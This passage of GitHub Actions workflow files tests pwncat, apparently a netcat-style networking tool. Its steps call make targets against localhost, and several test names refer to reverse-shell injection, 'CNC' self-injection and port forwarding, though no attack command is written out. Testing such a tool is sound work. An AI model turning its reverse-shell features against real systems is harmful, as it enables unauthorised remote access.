"TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_word env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/.github/workflows/test-x64-windows-pypy2.yml000066400000000000000000001203371414025024700233020ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: win-py2 on: pull_request: push: branches: - master tags: jobs: test: runs-on: windows-latest strategy: fail-fast: False name: "[x64] [windows] python-pypy2" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: pypy2 architecture: x64 - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | retry() { _make=${1} _target=${2} 